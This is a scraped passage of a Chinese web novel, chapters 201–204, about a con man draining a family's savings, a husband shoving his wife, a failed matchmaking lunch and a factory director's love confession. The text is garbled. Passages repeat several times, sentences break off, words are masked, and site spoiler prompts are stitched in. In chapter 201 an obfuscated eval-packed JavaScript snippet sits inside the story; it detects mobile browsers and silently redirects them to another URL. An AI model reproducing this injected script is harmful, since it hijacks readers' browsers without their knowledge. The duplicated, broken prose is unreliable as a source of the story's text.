林瑶虽然心里有些打鼓,但想到许树信誓旦旦的保证和未来“小汽车的诱惑,还是硬着头皮去求林彦,哭着嚎着,又要了1000块钱过去。 继续吃吃喝喝了一个礼拜后,胡“老板说第一批货卖出去了,当即就给了许树三百块的分红。 他捏着那三张崭新的大团结,手指都在抖——这可比摆摊强多了! 还没等他把钱焐热,老胡又说要进一批钢材,许树想都没想就把这三百块投了进去,又催着林瑶要钱。 要到钱之后,许树就源源不断地把钱拿给胡“老板,换来远低于投入的分红。 然而,林彦家里虽然富裕,但也不是财神。 婚前,他就给妹妹打了好几百块。 现在许树做生意,第一次的八百,第二次的一千,然后是五百,三百,一百. 像是无底洞一样。 最后一次的一百块后没过两天,林彦再次接到妹妹的电话。 听着她带着哭腔的恳求,看着自己干瘪的钱包和旁边挺着肚子、脸色铁青的妻子,感到前所未有的压力。 这几个月,前前后后他已经给林瑶转了将近三千块,完全掏空了小家庭的积蓄。 妻子终于爆发了: “林彦!这日子还过不过了?你妹妹就是个无底洞!那个许树就是个骗子!你再敢给她一分钱,我就去医院把孩子打了!我们离婚! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 倍甚至十几倍的差价。 “这钱,就是给有胆识、有门路的人赚的!像许老板这样的人才,跟着**,保你几个月就开上上海牌小轿车! 胡“老板 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“林彦!这日子还过不过了?你妹妹就是个无底洞!那个许树就是个骗子!你再敢给她一分钱,我就去医院把孩子打了!我们离婚! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 倍甚至十几倍的差价。 “这钱就是给有胆识、有门路的人赚的!像许老板这样的人才跟着**保你几个月就开上上海牌小轿车!” 胡“老板”拍着许树的肩膀一副相见恨晚的样子。 许树看着对方“不凡”的谈吐和那块“名表”再想想自己窝囊的摆摊经历瞬间觉得这才是真正的“快车道”! 可他也算是有点小聪明之前可上过当这次却也不会这么轻易上套。 胡“老板”也许是看出了他的顾虑。 连续几天主动请许树下馆子、喝酒还给他最贵的红塔山抽。 酒桌上老胡一口一个“许总”把许树吹得晕头转向连自己姓啥都快忘了。 他看着老胡随手招来服务员结账时的阔气心里那点犹豫渐渐化成了痒。 很快胡“老板”暗示下一批货马上就要到位了错过这一次下一次不知道要等多久了。 许树毫不犹豫立刻给林瑶拍电报编了个“紧急进货稳赚大钱”的理由让她再找哥哥林彦要钱。 林瑶虽然心里有些打鼓但想到许树信誓旦旦的保证和未来“小汽车”的诱惑还是硬着头皮去求林彦哭着嚎着又要了1000块钱过去。 继续吃吃喝喝了一个礼拜后胡“老板”说第一批货卖出去了当即就给了许树三百块的分红。 他捏着那三张崭新的大团结手指都在抖——这可比摆摊强多了! 还没等他把钱焐热老胡又说要进一批钢材许树想都没想就把这三百块投了进去又催着林瑶要钱。 要到钱之后许树就源源不断地把钱拿给胡“老板”换来远低于投入的分红。 然而林彦家里虽然富裕但也不是财神。 婚前他就给妹妹打了好几百块。 现在许树做生意 像是无底洞一样。 最后一次的一百块后没过两天林彦再次接到妹妹的电话。 听着她带着哭腔的恳求看着自己干瘪的钱包和旁边挺着肚子、脸色铁青的妻子感到前所未有的压力。 这几个月前前后后他已经给林瑶转了将近三千块完全掏空了小家庭的积蓄。 妻子终于爆发了: “林彦!这日子还过不过了?你妹妹就是个无底洞!那个许树就是个骗子!你再敢给她一分钱我就去医院把孩子打了!我们离婚!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 倍甚至十几倍的差价。 “这钱,就是给有胆识、有门路的人赚的!像许老板这样的人才,跟着**,保你几个月就开上上海牌小轿车!” 胡“老板”拍着许树的肩膀,一副相见恨晚的样子。 许树看着对方“不凡”的谈吐和那块“名表”,再想想自己窝囊的摆摊经历,瞬间觉得这才是真正的“快车道”! 可他也算是有点小聪明,之前可上过当,这次却也不会这么轻易上套。 胡“老板”也许是看出了他的顾虑。 连续几天主动请许树下馆子、喝酒,还给他最贵的红塔山抽。 酒桌上,老胡一口一个“许总”,把许树吹得晕头转向,连自己姓啥都快忘了。 他看着老胡随手招来服务员结账时的阔气,心里那点犹豫渐渐化成了痒。 很快,胡“老板”暗示下一批货马上就要到位了,错过这一次,下一次不知道要等多久了。 许树毫不犹豫,立刻给林瑶拍电报,编了个“紧急进货,稳赚大钱”的理由,让她再找哥哥林彦要钱。 林瑶虽然心里有些打鼓,但想到许树信誓旦旦的保证和未来“小汽车”的诱惑,还是硬着头皮去求林彦,哭着嚎着,又要了1000块钱过去。 继续吃吃喝喝了一个礼拜后,胡“老板”说第一批货卖出去了,当即就给了许树三百块的分红。 他捏着那三张崭新的大团结,手指都在抖——这可比摆摊强多了! 还没等他把钱焐热,老胡又说要进一批钢材,许树想都没想就把这三百块投了进去,又催着林瑶要钱。 要到钱之后,许树就源源不断地把钱拿给胡“老板”,换来远低于投入的分红。 然而,林彦家里虽然富裕,但也不是财神。 婚前,他就给妹妹打了好几百块。 现在许树做生意,第一次的八百,第二次的一千,然后是五百,三百,一百. 像是无底洞一样。 最后一次的一百块后没过两天,林彦再次接到妹妹的电话。 听着她带着哭腔的恳求,看着自己干瘪的钱包和旁边挺着肚子、脸色铁青的妻子,感到前所未有的压力。 这几个月,前前后后他已经给林瑶转了将近三千块,完全掏空了小家庭的积蓄。 妻子终于爆发了: “林彦!这日子还过不过了?你妹妹就是个无底洞!那个许树就是个骗子!你再敢给她一分钱,我就去医院把孩子打了!我们离婚!” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第201章 许家的头号功臣 妻子的眼泪和决绝吓坏了林彦,也让他彻底清醒了。 他对着电话那头的林瑶,声音疲惫而沉重: “瑶瑶,哥真的没钱了,一分钱都拿不出来了。你嫂子……她不能再受刺激了。让许树回来吧,脚踏实地找点事做,别再做那些不切实际的梦了。” 林瑶拿着电话,听着哥哥从未有过的严厉和无奈,心沉到了谷底。 许树打电话催着要钱的时候,她语气第一次带上了命令和绝望。 “没了,一分都没了!你赶紧把手里赚的那点钱带着,麻溜回来!” 许树在花城接到电报,如同被泼了一盆冷水。 但是他感觉自己赚的也够多了,可以扬眉吐气了。 去找胡“老板”要钱的时候,才发现对方早已人去楼空,旅馆房间只剩下一堆废纸。 在他后面来的,还有花城的**,其他的受害者报了案。 可**说这位姓胡的是惯犯了,滑溜的很,人抓不到,就算抓到了,钱也大概率被他挥霍一空,基本是不可能追回来的了。 那三千块彻底打了水漂,连个响都没听见。 许树这才彻底慌了神,身无分文,连回程的车票钱都没有。 万般无奈,他在火车站附近像游魂一样晃荡时,遇到了一个在附近摆摊卖衣服的老乡。 老乡看他可怜,在路边摊请他吃了一碗面,还帮他买了回G市的车票。 回到G市军属区那天,天阴沉沉的。 许树穿着那件皱巴巴西装,皮鞋上沾满了泥点子,头发油得都贴着头皮了,那双总是雾蒙蒙的桃花眼也干巴巴的。 林瑶看到他这副模样,心里最后一点指望也没了。 “钱呢?” 她问,声音轻得像风。 许树把脸扭到一边,不敢看她:“没……没了。” “没了?” 林瑶重复着这两个字,有些懵了,“那可是哥嫂他们全部的积蓄!” “这能怪我吗?” 许树猛地拔高了嗓门,那股子火气一股脑全撒在了林瑶身上。 “还不是你哥没本事,不肯再拿钱出来!要是再给我一千,我肯定能翻本!跟着你真是倒了八辈子霉,一点忙都帮不上!” 说着他抬手就狠狠推了林瑶一把。 林瑶没防备“哎哟”一声就摔在了地上膝盖磕在水泥地上疼得她龇牙咧嘴。 许树却看都没看她一眼梗着脖子冲进屋里往床板上一躺扯过被子蒙住头连鞋都没脱。 林瑶趴在地上呆呆地瞅着他的背影眼前这男人暴跳如雷的样子。 她忽然想起一个月前许树拉着她的手说。 “等我赚了大钱给你买新裙子再买辆小汽车让军属院里的人都羡慕你。” 可现在新裙子没有 眼前这个男人跟换了个人似的。 从前他看自己的眼神总是带着点讨好的温柔别说动手了连句重话都舍不得说。 那时候她不高兴了就踩他的脚拧他的耳朵他也只会嘿嘿笑还把手里的糖塞给她。 可现在就因为这么点事他居然对自己动手了。 林瑶摸了摸发疼的膝盖看着被窝里那个一动不动的身影连哭的勇气都没了。 现在的许树她哪还敢惹? 她敢打赌如果她真像从前那样去拧他耳朵这个男人绝对会一巴掌甩过来。 他眼里的狠厉和嫌弃都不是假的。 心力交瘁的感觉像潮水一样漫上来把她整个人都淹没了。 一个冰冷的念头突然钻进脑子里带着刺骨的疼—— 我是不是真的嫁错人了? 要是嫁给沈淮川至少不会像现在这样把哥哥的家底都掏空。 沈淮川家有的是钱嫁给沈淮川那些钱都是她的她也能像周柒柒那样穿那些漂亮裙子整天啥也不干就琢磨着怎么花钱。 沈家那带小花园的院子锃亮的凤凰牌自行车还有那辆军绿色的吉普车…… 全都是她的! 林瑶心里那个“嫁错人”的念头像投入深潭的石子只激起一圈微弱的涟漪便迅速沉没消失得无影无踪。 不可能! 她林瑶从小到大做的决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972745|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么时候错过? 许树哥只是一时运气不好遇到了骗子。 他比那个整天板着脸、对谁都冷冰冰的沈淮川强多了! 沈淮川除了有 个好出身会打仗还有什么? 哪像她的许树哥会疼人会说甜言蜜语哄她开心。 他只是……只是需要一点时间需要一个机会证明自己。 想到这里林瑶强压下心底那丝不安脸上重新堆起温柔的笑容小心翼翼地凑近还在生闷气的许树。 “许树哥别生气了嘛。” 她声音软软的带着刻意的讨好。 许树在被窝里闷哼一声没搭理她。 林瑶又往跟前凑了凑手指头轻轻戳了戳他的胳膊带着点讨好的撒娇。 “我这儿有个好消息 许树撩起眼皮没什么精神:“啥好消息?还能比发财好?” “哎呀跟发财也差不多啦!” 林瑶故作神秘地压低声音 “我给枣儿安排了个相亲对象!你猜是谁?是周淑华周阿姨的亲侄子!在火车上当乘警的人家都叫他雷少爷呢!家里条件可好了……” “真的?!” 许树眼睛“唰”地亮了刚才那股子颓丧劲儿一下子跑没影了猛地坐起来连带着被子都滑到了腰上。 “军区周主任的侄子?那可是正经的好人家!枣儿要是能成你可是咱们许家的头号功臣了!全家人都会把你供着!” 他伸手把林瑶拉过来象征性地拍了拍她的手背算是哄了哄但那份亲昵和珍惜远不如从前。 林瑶心里微微发涩但很快被“许家的头号功臣”的虚荣感压了下去。 “就是呢!人家工作忙好不容易约了后天下午在国营饭店见面枣儿要是争气这事儿就成了!” 她望着窗外灰蒙蒙的天心里头美滋滋地盘算着。 等枣儿真成了这门亲许树哥肯定能高看她一眼到时候还会像从前那样把她捧在手心里。 周柒柒有个好看的院子有好多钱能花那又怎么样? 家里没有一个好男人还不是不如她! 第202章 相亲 在华国改革开放的档口,机会遍地都是。 都说了,一头猪站在风口上都能跟着飞起来。 可要是碰上那种蠢猪,那是连风都绕着走的。 周柒柒为了她那个“柒”字牌忙得脚不沾地的这一个月,许树也没闲着。 就在周柒柒去剪彩的同一天,许树也揣着800块钱坐上了去花城的火车。 这八百块钱,相当于普通青工两年的工资了,可是一笔巨款。 火车“哐当哐当”摇晃了十几个小时,终于喘着粗气停在了花城火车站。 许树拎着他那个半新的皮包,随着汹涌的人流挤出站口。 潮湿闷热的空气裹挟着陌生的粤语、汗味和隐约的海腥味扑面而来,他非但没觉得不适,反而深深吸了一口气,仿佛吸进去的都是钞票的油墨香。 “机会!遍地都是机会!” 许树在心里呐喊,眼睛放光地打量着这座比G市繁华十倍的城市。 高楼大厦是真不少,虽说也就几层楼的光景,可在那会儿已是稀罕物。 马路上车来车往,热闹得很。 穿喇叭裤、花衬衫的年轻小伙,胳膊底下夹着录音机,大摇大摆地在街上走,里头飘出邓丽君那甜腻腻的歌声,老远都能听见。 这一切都印证了工友的吹嘘——在这里,弯腰就能捡到钱! 他许树,马上就要成为人上人了! 他做的第一件事不是找便宜的落脚点,也不是打听市场行情,而是直奔百货大楼。 工友那句“人靠衣装马靠鞍,没派头谁跟你做大生意?”在他脑海里嗡嗡作响。 他在百货大楼里转来转去,精心挑了一套最时兴的藏青色“涤卡”西装,还是带垫肩的! 又配了件雪白的“的确良”衬衫,一条笔挺的西裤,一双擦得锃亮、能照出人影的“三接头”黑皮鞋。 就连公文包,也换了个更挺括的仿皮新款。 换上这身行头,对着百货大楼光亮的橱窗玻璃照了照,许树感觉自己瞬间脱胎换骨,俨然成了港片里走出来的大老板。 这身行头,前前后后花了他将近一百块! 可他一点都不心疼,反倒觉得值当! 这可是“成功人士”的门面,是能撬开财富大门的敲门砖,花多少钱都不亏。 为了撑住“许老板”的身份,他咬了咬牙,住进了一家中等旅馆的单间。 第二天一早,许树收拾得整整齐齐,意气风发地往传说中的批发市场“高第街”赶去。 狭窄的街巷两旁摊位林立,货物堆积如山,人声鼎沸,简直像个巨大的聚宝盆。 电子表闪烁着廉价的红绿光,花花绿绿的尼龙布料像瀑布一样挂满架子,折叠伞、录音磁带、蛤蟆镜…… 各种只在传闻里听过的“时髦货”,这儿是一样不缺。 许树看得眼睛都直了,心里头的热血“咚咚”往上涌。 摊贩们个个眼尖,一瞅见他这身崭新的“老板行头”。 再看看他眼里那藏不住的生涩和贪婪,立马一窝蜂似的围了上来,热情得让人招架不住。 普通话夹着粤语,七嘴八舌。 “老板!睇下啦!最新款的港产电子表,平靓正啊!” “老板老板!正宗日本尼龙布,花色最新,做衫最靓女啦!” “老板识货!我哩度有批录音带,邓丽君、罗文、许冠杰,齐晒!批发价益你啦!” 许树被这阵仗捧得飘飘然,觉得自己真成了被人追捧的大老板。 他哪里懂什么货比三家,辨别真假? 听着摊贩舌灿莲花地吹嘘,看着那些在灯光下闪闪发光的“港产”、“进口”标签,他只觉得弯腰就能捡钱。 一个看起来特别“憨厚老实”的中年摊主,操着半生不熟的普通话,拍着胸脯保证他的货“质量顶呱呱,海关刚放行”。 许树被哄得晕头转向,生怕错过这“好货”,又觉得自己这身派头不能显得小家子气。 几乎没怎么往下砍价,就用剩下的六百多块钱,一口气买下了一大包花花绿绿的劣质电子表。 还有几匹颜色俗艳得刺眼的玫红色尼龙布,那摊主一个劲地推荐,说这是“港姐最流行色”。 还给她塞了几张港姐海报。 许树虽然不知道什么是港姐,但是看着海报上穿着清凉的美女,不由心神荡漾。 他甚至没时间仔细检查,只觉得沉甸甸的包裹就是未来的金山银山。 货是“进”了,怎么卖出去却成了难题。 许树学着别人的样子,在街边支了个简陋的摊。 风吹日晒,还要应付顾客的挑拣和砍价,不过两天,他就烦透了。 那些电子表,顾客拿起来按几下,屏幕就时亮时暗,甚至不亮; 尼龙布稍微一扯,边缘就抽丝。 质疑声和嘲笑让他脸上挂不住。 “这什么破生意!又累又受气!” 他心里抱怨着, “我是要做大生意的人,哪能天天耗在这种小摊上?跌份!” 他草草收了摊,把一堆“破烂”塞回那个冒充身份的“公文包”,心里头憋着气,决定先犒劳犒劳自己。 晚上,心烦意乱的他决定去见识见识花城有名的舞厅。 舞厅里的彩灯转得人眼晕,邓丽君的靡靡之音顺着墙缝往外钻。 许树找了个角落的卡座坐下,点了三瓶两毛五一瓶的珠江啤酒,起开瓶盖咕咚咕咚灌下去,泡沫顺着嘴角往下淌。 冰凉的酒液滑过喉咙,白天白天的挫败好像都随着酒气散了些。 正咂摸着嘴里的苦味,一个穿着花衬衫、手腕子上明晃晃戴着块金表的中年男人端着酒杯凑过来。 屁股往旁边的塑料椅上一沉,椅子发出“吱呀”一声响。 “兄弟一个人?” 男人说话时带着点广东腔,眼睛笑成了一条缝。 许树眼皮一抬,目光“唰”地落在那表上。 批发电子表被坑了,他气不过,去了百货大楼,柜台里那块要价五百八的劳力士他记得真真的——眼前这男人戴的,可不就是那款嘛! 表链在彩灯下闪着光,晃得他眼睛发直。 对方自称姓胡,很健谈,几句话就捧得许树飘飘然。 “许老板一看就是做大生意的料!在这种小摊上混,屈才了!” 胡“老板”神秘兮兮地压低声音。 “兄弟我手上有个‘稳赚不赔’的大项目,就是缺几个有实力、信得过的合伙人……” 许树一听“大项目”、“稳赚不赔”,眼睛立刻亮了。 胡“老板”描绘的前景极其诱人。 他有“过硬”的关系,能搞到当时紧俏的计划内物资批条(比如钢材、化肥),一转手就能赚几倍甚至十几倍的差价。 “这钱,就是给有胆识、有门路的人赚的!像许老板这样的人才,跟着我干,保你几个月就开上上海牌小轿车!” 胡“老板”拍着许树的肩膀,一副相见恨晚的样子。 许树看着对方“不凡”的谈吐和那块“名表”,再想想自己窝囊的摆摊经历,瞬间觉得这才是真正的“快车道”! 可他也算是有点小聪明,之前可上过当,这次却也不会这么轻易上套。 胡“老板”也许是看出了他的顾虑。 连续几天主动请许树下馆子、喝酒,还给他最贵的红塔山抽。 酒桌上,老胡一口一个“许总”,把许树吹得晕头转向,连自己姓啥都快忘了。 他看着老胡随手招来服务员结账时的阔气,心里那点犹豫渐渐化成了痒。 很快,胡“老板”暗示下一批货马上就要到位了,错过这一次,下一次不知道要等多久了。 许树毫不犹豫,立刻给林瑶拍电报,编了个“紧急进货,稳赚大钱”的理由,让她再找哥哥林彦要钱。 林瑶虽然心里有些打鼓,但想到许树信誓旦旦的保证和未来“小汽车”的诱惑,还是硬着头皮去求林彦,哭着嚎着,又要了1000块钱过去。 继续吃吃喝喝了一个礼拜后,胡“老板”说第一批货卖出去了,当即就给了许树三百块的分红。 他捏着那三张崭新的大团结,手指都在抖——这可比摆摊强多了! 还没等他把钱焐热,老胡又说要进一批钢材,许树想都没想就把这三百块投了进去,又催着林瑶要钱。 要到钱之后,许树就源源不断地把钱拿给胡“老板”,换来远低于投入的分红。 然而,林彦家里虽然富裕,但也不是财神。 婚前,他就给妹妹打了好几百块。 现在许树做生意,第一次的八百,第二次的一千,然后是五百,三百,一百... 像是无底洞一样。 最后一次的一百块后没过两天,林彦再次接到妹妹的电话。 听着她带着哭腔的恳求,看着自己干瘪的钱包和旁边挺着肚子、脸色铁青的妻子,感到前所未有的压力。 这几个月,前前后后他已经给林瑶转了将近三千块,完全掏空了小家庭的积蓄。 妻子终于爆发了: “林彦!这日子还过不过了?你妹妹就是个无底洞!那个许树就是个骗子!你再敢给她一分钱,我就去医院把孩子打了!我们离婚!” 第203章 给脸不要脸的东西! 放下电话,办公室里就剩张国强一个人了。 巨大的喜悦和成就感像暖流一样在他胸膛里涌动,他迫切地想找人分享这份快乐。 环顾四周,目光落在了墙角那台蒙了层薄灰的落地式收音机上。 那是前任厂长吕守钱留下的“奢侈品”,吕守钱倒了台,这玩意儿就扔这儿了。 以前张国强天天忙得脚不沾地,厂里的事桩桩件件都得他扛着,哪有闲工夫摆弄这东西? 可今儿不一样了! 他一挺身从椅子上站起来,迈着大步走过去,袖子往手上蹭了蹭,胡乱在收音机上按了几个按钮。 先是一阵“滋滋啦啦”的电流声,刺得人耳朵有点痒,紧跟着,一段慢悠悠、甜丝丝的调子就淌了出来。 是邓丽君的《月亮代表我的心》,这歌这两年火得很,街头巷尾谁不会哼两句。 “你问我爱你有多深……” 温柔缠绵的歌声瞬间充满了小小的办公室。 张国强平时五音不全,更不懂什么情调,但此刻心情实在太好,这旋律又格外应景(虽然他还没意识到应什么景),竟也跟着摇头晃脑,笨拙地哼了起来。 他踱到窗边,小心翼翼地捧起窗台上那盆小小的、叶片碧绿油亮的吊兰。 这吊兰还是上次从赵大梅那儿买的,他搁在办公室里,天天浇水松土,养得别提多上心了。 怀里抱着这盆透着生气,还藏着点说不清道不明念想的绿植,听着《月亮代表我的心》,张国强这颗整天紧绷着的心,难得松快下来。 他有点忘形了,抱着花盆轻轻晃着身子,手指头无意识地在吊兰光滑的叶子上摩挲,冰凉的叶片蹭得指尖痒痒的。 “我爱你有几分……” 就在他哼到这一句,心情愉悦到顶点时。 “叩叩叩!” 办公室的门被轻轻敲响了。 张国强浑身一僵,歌声戛然而止,像被掐住了脖子。 他猛地回头,只见虚掩的门缝被推开,赵大梅那张清秀却总带着点疏离感的脸庞出现在门口。 她手里拿着一个单据本,显然是来替李萍提货的。 时间仿佛凝固了。 张国强抱着绿萝,姿势僵硬,脸上还残留着刚才忘我的笑容和哼歌的口型,整个人像被施了定身法。 巨大的尴尬如同海啸般瞬间将他淹没,他感觉自己的脸“腾”地一下烧了起来,一路红到了脖子根! 恨不得找个地缝钻进去! 尤其是想到自己刚才还哼着“我爱你有几分”。 ……天啊!她听见了多少?! “张……张厂长?” 赵大梅显然也愣了一下,没想到会看到张国强这样……嗯,不同寻常的一面。 她的目光在他怀里那盆自己卖出去的吊兰上打了个转,又落回他那张快要冒烟的脸上。 眼尾飞快地挑了一下,像是藏着点笑意,可快得让人抓不住,眨眼就恢复了往常的平静。 “我……我来替萍姐拿下午提货的单子。” 她的声音还是那样,不高不低,安安稳稳的,好像刚才什么都没听见,什么都没看见。 “哦!哦!提货单!对对对!” 张国强这才像是刚回过神,手忙脚乱地把吊兰往窗台上放,慌里慌张的,差点把花盆碰倒,赶紧伸手扶了一把才稳住。 他几乎是同手同脚地冲到办公桌后,拉开抽屉一阵乱翻,总算找到了单据。 递过去的时候,手指尖都在微微发抖。 赵大梅接过单据,仔细核对了一下,点点头:“谢谢张厂长。” 她转身欲走,目光却又一次扫过窗台的吊兰,似乎犹豫了一下。 张国强捕捉到她这个细微的眼神,心猛地一跳! 机会! 他深吸一口气,像是给自己打气,猛地拉开办公桌旁边一个柜子的门。 里面赫然整齐地码放着一摞书:《家庭盆栽养护大全》、《花卉病虫害防治》、《观叶植物鉴赏与培育》…… 旁边还有几个小纸包和玻璃瓶,上面贴着标签,“农科院特供矮牵牛种子”、“兰花专用营养液”、“缓释花肥”…… “那个……大梅同志!” 张国强声音有些发紧,指着那一柜子东西, “我看你挺喜欢养花的,这些……这些书,还有这些种子、营养液啥的,是我托人从农科院那边弄来的,都是好东西!你……你拿回去瞧瞧?兴许用得上呢?” 赵大梅看着那一柜子明显是花了心思准备的东西,眼中闪过一丝真实的惊讶和喜爱。 她对花花草草的热爱是发自内心的。 可那点光亮没一会儿就淡下去了,又被她平日里那股子清醒和客气压了下去。 “张厂长,这太贵重了。” 她轻轻摇了摇头,语气还是那么温和,可话里的劲儿却挺足, “您的好意我心领了,东西我不能白要,多少钱?我给您。”说着,就往口袋里摸钱包。 张国强急了,连忙摆手。 “不不不!真不用!大梅同志,你千万别有负担!你救了我家那仨皮猴的命,我一直都没好好谢过你!这点东西算什么?真的……” 赵大梅打断他,眼神清澈而认真。 “张厂长,您的心意我明白,但一码归一码。上次我去看孩子们,孩子们硬塞给我好几件小孩的新衣服,那情分我已经领了,也很感激。” 她往回抽了抽手,态度没有丝毫转圜的余地。 “这些花肥种子,是额外的,而且一看就不便宜。您要是不收钱,这些东西,我真的不能要。” 张国强看着她倔强的眼神,心里又是无奈又是心疼。 他知道赵大梅的脾气,独立、要强,不愿意欠人情,尤其是物质上的。 他重重地叹了口气,肩膀微微垮了下来。 “唉……行吧行吧,拗不过你。那就……按进价算吧。” 他胡乱报了个很低的数字,只想快点结束这尴尬的推让。 赵大梅没再争辩,从钱包里数出大于那个数字一倍的钱,仔细地放在桌上,然后小心地把那些书和种子、营养液收进自己带来的布袋里。 整个过程,办公室里的气氛有些凝滞,只有桌上那台收音机还在不知疲倦地播放着: “你去想一想,你去看一看,月亮代表我的心……” 张国强看着她收拾好东西,拎起布袋,转身走向门口。 就在她伸手要拉开门的瞬间,一股巨大的勇气,混合着刚才那首歌带来的莫名冲动,猛地冲上了张国强的头顶! 他几乎是脱口而出,声音因为紧张而有些发颤,却又异常清晰: “大梅同志!你等等!” 赵大梅的手停在门把上,转过身,平静地看着他,眼神里带着询问。 张国强的心脏在胸腔里狂跳,几乎要蹦出来。 他深吸一口气,鼓足了这辈子最大的勇气,直视着赵大梅的眼睛,一字一句,笨拙却无比真诚地说。 “大梅同志!我……我稀罕你!是真稀罕!不是因为你帮我照顾孩子,也不是因为别的!就是……就是稀罕你这个人!稀罕你的实在,稀罕你的韧劲儿!” “我知道……我知道你可能觉得我配不上,或者……或者心里有别的顾虑。” 他的额头上渗出细密的汗珠,顺着鬓角往下滑,但仍然说着, “但我今天把话撂这儿,我张国强,认准的事儿,认准的人,就不会轻易撒手!我是真心的!我会……我会一直等着!等你愿意……愿意给我个机会!” 他这番话说得又快又急,脸涨得通红,额头上都冒出了细汗,眼神却亮得惊人,充满了豁出去的决心和毫不掩饰的赤诚。 背景音乐里,邓丽君那温柔缠绵的歌声恰如其分地唱到了高潮,仿佛在为这笨拙而真挚的告白做着注脚: “你问我爱你有多深,我爱你有几分?我的情也真,我的爱也真,月亮代表我的心……” 歌声在小小的办公室里回荡,将这一刻的紧张、尴尬、勇气和期待都渲染得格外清晰。 赵大梅静静地站在那里,听着张国强这番石破天惊的告白,又听着那仿佛直击心灵的歌词。 她的身体明显僵硬了一下,脸上那层惯有的平静终于被打破,浮现出复杂的神色。 有震惊,有无措,有一丝慌乱,甚至……似乎还有一丝极淡的、被触动后的涟漪? 但更多的,是一种深深的犹豫和挣扎,仿佛有千斤重担压在她的心头。 她的嘴唇微微动了动,似乎想说什么,最终却只是深深地看了张国强一眼。 那眼神里有太多东西,张国强看不懂,也来不及解读。 然后,她猛地转过身,拉开门,几乎是逃也似的快步离开了办公室,留下一个决绝而仓促的背影。 “砰。” 门被轻轻带上,发出一声闷响。 办公室里,只剩下张国强一个人剧烈的心跳声,和收音机里依旧在深情吟唱的旋律: “轻轻的一个吻,已经打动我的心……深深的一段情,叫我思念到如今……” 张国强还傻愣愣地站在原地,望着空荡荡的门口,刚才那股冲天的勇气像是被瞬间抽干了,浑身的力气都卸了,只剩下满心的忐忑和说不清道不明的失落。 但他眼底深处,那簇名为“不放弃”的火苗,却因为这终于说出口的心里话,反而烧得更旺了些。 第204章 谁说没法子的?! “乱七八糟的女人? 雷鸣猛地转身,直视着周淑华,眼神锐利, “婶婶,您说的不就是周柒柒同志吗?何必拐弯抹角!她是什么样的人,我比您清楚!她正直、善良、有本事!是您对她的偏见太重了! “你! 周淑华被侄子当众顶撞,脸上挂不住,尤其听到“周柒柒三个字,心口那股熟悉的憋闷感又涌了上来,隐隐作痛。 她捂着胸口,语气带着怨怼和不以为然, “偏见?哼!我每次看到她,这心口就疼得厉害!舒服不了!你被她灌了什么**汤?沈淮川被她迷得五迷三道,现在连你也……我看她就是个狐狸精转世!专门祸害人! 雷鸣看着婶婶固执己见的样子,知道再多说也无益,失望地摇摇头。 “婶婶,您这么武断,平白伤了个好姑娘的心,将来肯定会后悔的。 他不再停留,大步流星地融入街边的人流,背影带着决绝。 周淑华看着侄子离去的背影,气得心口更疼了。 “我后悔?我有什么好后悔的? 她抚着胸口,在原地缓了缓,那股对周柒柒的厌恶和不舒服感愈发强烈。 带着满腹的怨气和身为长辈的威严,她转身掀开帘子,走进了国营饭店。 饭店里,许家三口这会儿还被当成谈资在议论呢,三个人都低着头。 林瑶惨白着脸,小声劝着许枣,却被许枣迁怒地一把推开。 “都怪你!介绍的什么破人!一点面子都不给! 许树十分烦躁,矛头也指向林瑶。 “你不是打包票说十拿九稳吗?现在好了,脸都丢尽了!还白搭一顿饭钱! 他心疼地瞥了一眼桌上雷鸣留下的钱。 那小子也不知道多丢点,那些钱够付那一桌的,但不够他和林瑶这桌啊! 林瑶被兄妹俩夹攻,委屈又惶恐,嘴唇哆嗦着说不出话。 就在这时,周淑华走了进来,直接走到了林瑶桌边。 眉头紧皱,语气带着长辈的威严和明显的不悦。 “怎么回事?鸣鸣怎么气冲冲走了?发生什么事了? 林瑶像是找到了主心骨,“哇地一声就哭了出来,扑到周淑 华跟前。 “周阿姨!都怪周柒柒那个小**!肯定是她在雷鸣面前说枣儿和我们坏话了!” “是啊周阿姨!” 许枣也跟着帮腔,眼圈一红,眼泪说来就来,指着门口的方向,声音带着哭腔和愤怒。 “周柒柒?” 周淑华的心猛地一跳,又是这个名字! 她眼神瞬间变得冰冷。 “关她什么事?她认识枣儿吗?” “怎么不认识!” 许枣立刻抓住机会,添油加醋地把刚才对雷鸣说的话又复述了一遍,语气更加夸张,充满了受害者的悲愤。 完全把周柒柒描绘成一个忘恩负义,十恶不赦的坏女人。 周淑华的脸色随着许枣的控诉和林瑶的附和,越来越阴沉,心口的闷痛感也越发清晰。 她本就对周柒柒充满偏见,此刻在许枣绘声绘色、充满恶意的描述下,那些偏见瞬间被点燃、放大、坐实! 尤其是听到“勾引男人”四个字,联想到自己侄子刚才的维护和沈淮川的“执迷不悟”,一股邪火直冲头顶。 “够了!” 周淑华猛地打断许枣,声音因为愤怒而微微发颤,她捂着心口,眼神凌厉如刀, “原来如此!我就说她不是个省油的灯!原来从小就心术不正!攀上淮川还不够,现在又来搅和我侄子的好事!她到底想干什么?把军属区搅得天翻地覆吗?” 她喘了口气,语气带着深深的厌恶和不解, “我真是想不通,淮川那么精明一个人,当初怎么就被她给迷住了?是不是她早就存了心思,主动勾引的?” 林瑶心里咯噔一下,眼珠子飞快地转了转,赶紧抹了把眼泪,做出一副委屈巴巴的样子。 “周阿姨,您可算问到点子上了!当初我就觉得不对劲!” 